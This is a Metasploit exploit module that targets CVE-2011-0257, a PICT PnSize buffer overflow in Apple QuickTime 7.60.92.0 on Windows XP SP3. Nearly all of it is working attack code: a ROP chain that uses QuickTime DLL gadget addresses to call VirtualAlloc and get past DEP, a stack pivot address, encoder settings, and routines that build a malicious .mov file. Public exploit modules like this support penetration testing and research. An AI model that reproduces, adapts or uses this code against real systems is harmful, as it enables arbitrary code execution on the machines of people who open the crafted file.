##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple QuickTime PICT PnSize Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in Apple QuickTime Player 7.60.92.0.
        When opening a .mov file containing a specially crafted PnSize value, an attacker
        may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'MC',           # Original Metasploit Module
          'corelanc0d3r <peter.ve[at]corelan.be>', # Added DEP Bypass support
        ],
      'References'     =>
        [
          [ 'CVE', '2011-0257' ],
          [ 'OSVDB', '74687' ],
          [ 'EDB', '17777' ],
          [ 'BID', '49144' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
      'Payload'        =>
        {
          'Space'          => 750,
          'BadChars'       => "",  #Memcpy
          'EncoderType'    => Msf::Encoder::Type::AlphanumUpper,
          'DisableNops'    =>  'True',
          'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ECX',
            },
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          # QuickTime.qts 7.60.92.0 # ADD ESP,4D0 # RETN
          [ 'Windows XP SP3 with DEP bypass', { 'Ret' => 0x67202c75 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2011-08-08',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME',   [ false, 'The file name.',  'msf.mov' ]),
      ])
  end

  def exploit
    # !mona rop
    rop =
    [
      0x67e21084,  # POP ECX # RETN [QuickTimeMPEG4.qtx]
      0x67ed30c0,  # ptr to &VirtualAlloc() [IAT QuickTimeMPEG4Authoring.qtx]
      0x68994002,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [QTOLibrary.dll]
      0x6696ca36,  # XCHG EAX,ESI # RETN [QuickTime.qts]
      0x66c78001,  # POP EBP # RETN [QuickTime.qts]
      0x67eb8573,  # & call esp [QuickTimeMPEG4Authoring.qtx]
      0x67208003,  # POP EBX # RETN [QuickTime.qts]
      0x00000001,  # 0x00000001-> ebx
      0x6783ee02,  # POP EDX # RETN [QuickTimeInternetExtras.qtx]
      0x00001000,  # 0x00001000-> edx
      0x67e21084,  # POP ECX # RETN [QuickTimeMPEG4.qtx]
      0x00000040,  # 0x00000040-> ecx
      0x6762a008,  # POP EDI # RETN [QuickTimeVR.qtx]
      0x66a78005,  # RETN (ROP NOP) [QuickTime.qts]
      0x685a9802,  # POP EAX # RETN [QuickTimeAudioSupport.qtx]
      0x90909090,  # nop
      0x682f0001,  # PUSHAD # RETN [QuickTimeH264.qtx]
    ].pack('V*')

    stackpivot = [target.ret].pack('L')

    buffer = rand_text_alpha_upper(2)
    buffer << rop
    buffer << payload.encoded

    junk = rand_text_alpha_upper(2306 - buffer.length)

    buffer << junk
    buffer << stackpivot
    buffer << rand_text_alpha_upper(3000)

    path = File.join( Msf::Config.data_directory, "exploits", "CVE-2011-0257.mov" )
    fd = File.open(path, "rb" )
    sploit = fd.read(fd.stat.size)
    fd.close

    sploit << buffer

    file_create(sploit)
  end
end
__END__
http://mirrors.apple2.org.za/apple.cabi.net/Graphics/PICT.and_QT.INFO/PICT.file.format.TI.txt

Opcode   Name                       Description                  Data Size (in bytes)

$0007    PnSize                     pen size (point)             4
